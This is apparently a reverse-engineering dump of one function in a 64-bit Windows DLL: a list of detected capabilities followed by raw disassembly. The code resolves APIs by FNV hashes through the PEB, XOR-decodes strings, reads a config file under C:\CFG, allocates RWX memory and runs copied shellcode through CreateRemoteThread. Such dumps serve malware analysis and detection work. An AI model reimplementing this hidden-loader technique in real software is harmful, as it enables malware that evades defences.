Function at 0x1800030e0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x240]
sub rsp, 0x340
call fcn.180004770
test al, al
jne 0x1800031cb
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800031a7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800031a7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1800031a2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x180003180
cmp r8d, 0xf84eee59
je 0x1800031ac
test r9d, r9d
jne 0x180003160
mov rax, qword [rax]
jmp 0x180003130
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
lea rcx, [rdx - 1]
call rax
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov rcx, qword [rax + 0x20]
add rax, 0x20
cmp rcx, rax
je 0x1800031ff
mov rax, qword [rcx + 0x20]
mov qword [0x180052570], rax
test rax, rax
jne 0x1800032c2
jmp 0x18000320a
mov qword [0x180052570], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180003297
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180003297
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180003292
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180003270
cmp r8d, 0xf84eee59
je 0x18000329c
test r9d, r9d
jne 0x180003250
mov rax, qword [rax]
jmp 0x180003220
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
lea rcx, [rdx - 1]
call rax
mov rax, qword [0x180052570]
add rax, 0x16961f0
mov qword [0x180052548], rax
jne 0x18000338b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180003367
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180003367
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180003362
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180003340
cmp r8d, 0xf84eee59
je 0x18000336c
test r9d, r9d
jne 0x180003320
mov rax, qword [rax]
jmp 0x1800032f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
lea rcx, [rdx - 1]
call rax
mov r8d, 7
lea rdx, str.C:CFG_
lea rcx, [0x180051130]
call fcn.18000b6f0
lea rcx, [0x180051130]
call fcn.18000a5d0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, str.C:CFGcfg.cfg
lea rcx, [rbp + 0x20]
lea r8d, [r9 - 0x3f]
call fcn.180001cf0
mov rcx, qword [rbp + 0x20]
movsxd rax, dword [rcx + 4]
cmp dword [rbp + rax + 0x30], 0
je 0x1800033f1
lea rcx, [0x180051130]
call fcn.18000a0f0
mov rcx, qword [rbp + 0x20]
movsxd rax, dword [rcx + 4]
lea rcx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0x20], rcx
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x1c], edx
lea rcx, [rbp + 0x30]
call fcn.180002780
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x20], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::ios_base.0
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x1c], edx
lea rcx, [rbp + 0xd0]
mov qword [rbp + 0xd0], rax
call fcn.180012b3c
mov rax, qword [0x180052570]
add rax, 0x7389d40
mov qword [0x180052528], rax
jne 0x18000352c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180003507
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180003507
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180003502
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800034e0
cmp r8d, 0xf84eee59
je 0x18000350c
test r9d, r9d
jne 0x1800034c0
mov rax, qword [rax]
jmp 0x180003490
mov edx, dword [rbx + 0x24]
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
xor edx, edx
add rax, r10
lea rcx, [rdx - 1]
call rax
movabs rax, 0x5eedd6bd577743a4
movabs r15, 0x6cdebad8390526cf
mov qword [rsp + 0x40], rax
movabs r14, 0x52077ef93ade1e2c
movabs rax, 0x52077ef956b27a02
mov qword [rbp - 0x60], r15
mov qword [rsp + 0x48], rax
mov rax, qword gs:[0x30]
movdqa xmm0, xmmword [rsp + 0x40]
mov qword [rbp - 0x58], r14
pxor xmm0, xmmword [rbp - 0x60]
mov rcx, qword [rax + 0x60]
movdqa xmmword [rsp + 0x40], xmm0
mov rbx, qword [rcx + 0x18]
add rbx, 0x20
mov r11, qword [rbx]
cmp r11, rbx
je 0x1800035f4
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [r11 + 0x50]
lea r10, [rsp + 0x40]
test r9, r9
je 0x1800035ec
nop
movsx ecx, byte [r10]
lea r10, [r10 + 1]
movzx r8d, word [r9]
lea r9, [r9 + 2]
lea eax, [rcx - 0x41]
cmp ax, 0x19
lea edx, [rcx + 0x20]
lea eax, [r8 - 0x41]
cmova dx, cx
cmp ax, 0x19
ja 0x1800035dd
add r8w, 0x20
test dx, dx
je 0x1800037b5
cmp dx, r8w
je 0x1800035b0
mov r11, qword [r11]
cmp r11, rbx
jne 0x1800035a0
xor ebx, ebx
movabs rax, 0x18a7f8b14d695382
mov qword [rbp - 0x40], r15
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x60]
movabs rax, 0x11621a906db14a49
mov qword [rbp - 0x38], r14
mov qword [rsp + 0x68], rax
movabs rsi, 0x4a57e29ff48ebb36
movdqa xmm0, xmmword [rsp + 0x60]
movabs rax, 0x3e333e6e90556d39
pxor xmm0, xmmword [rbp - 0x40]
movabs rdi, 0x3e333e6e90270c51
mov qword [rsp + 0x70], rax
mov rcx, rbx
mov qword [rsp + 0x78], rsi
movdqa xmm1, xmmword [rsp + 0x70]
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rsi
pxor xmm1, xmmword [rbp - 0x30]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmmword [rsp + 0x60], xmm0
call fcn.18000db20
mov qword [0x1800524f0], rax
lea rdx, [rbp - 0x80]
mov qword [rbp - 0x68], rsi
movabs rax, 0x1ebfd29b5c614f98
mov qword [rbp - 0x80], rax
mov rcx, rbx
movabs rax, 0x106e0a954f937178
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x78], rax
movabs rax, 0x3e333e6e90427828
movdqa xmm0, xmmword [rbp - 0x80]
mov qword [rbp - 0x70], rax
movdqa xmm1, xmmword [rbp - 0x70]
mov qword [rbp - 0x18], r14
pxor xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rsi
pxor xmm1, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmmword [rbp - 0x80], xmm0
call fcn.18000db20
mov qword [rsp + 0x58], r14
lea rdx, [rsp + 0x50]
mov qword [0x1800524f8], rax
mov rcx, rbx
movabs rax, 0x6cdebad84960438d
mov qword [rbp - 0x50], r15
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [rsp + 0x50]
mov qword [rbp - 0x48], r14
pxor xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rsp + 0x50], xmm0
call fcn.18000db20
mov qword [0x180052500], rax
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rbx, qword [rcx + 0x18]
add rbx, 0x20
mov r11, qword [rbx]
cmp r11, rbx
je 0x18000392f
nop dword [rax]
nop word [rax + rax]
mov r9, qword [r11 + 0x50]
lea r10, str.ntdll.dll
test r9, r9
je 0x1800037a8
movsx ecx, byte [r10]
lea r10, [r10 + 1]
movzx r8d, word [r9]
lea r9, [r9 + 2]
lea eax, [rcx - 0x41]
cmp ax, 0x19
lea edx, [rcx + 0x20]
lea eax, [r8 - 0x41]
cmova dx, cx
cmp ax, 0x19
ja 0x18000379d
add r8w, 0x20
test dx, dx
je 0x1800037be
cmp dx, r8w
je 0x180003770
mov r11, qword [r11]
cmp r11, rbx
jne 0x180003760
jmp 0x18000392f
mov rbx, qword [r11 + 0x20]
jmp 0x1800035f6
mov r8, qword [r11 + 0x20]
test r8, r8
je 0x18000392f
movups xmm1, xmmword [r8 + 0x30]
mov ebx, 2
lea rcx, [rbp + 0x130]
mov edx, ebx
psrldq xmm1, 0xc
movd eax, xmm1
cdqe
add rax, r8
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1800037f0
mov rax, qword [rax]
mov qword [rcx], rax
mov edi, dword [rbp + 0x180]
add rdi, 0xfffffffffffffc00
add rdi, r8
je 0x18000392f
lea r9, [rbp + 0x260]
mov edx, 0x100
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
mov edx, 0x100
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [0x180005350]
mov rdx, rdi
mov rsi, rax
lea rax, [0x180005370]
mov qword [rsi], rax
mov qword [rsi + 8], 0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rdx - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm1
sub rbx, 1
jne 0x1800038b0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9, rdi
xor r8d, r8d
mov rcx, rax
xor edx, edx
lea rax, [0x1800524cc]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edx, 0xfa
mov ecx, edx
lea r11, [rsp + 0x340]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
jmp qword [0x180052500]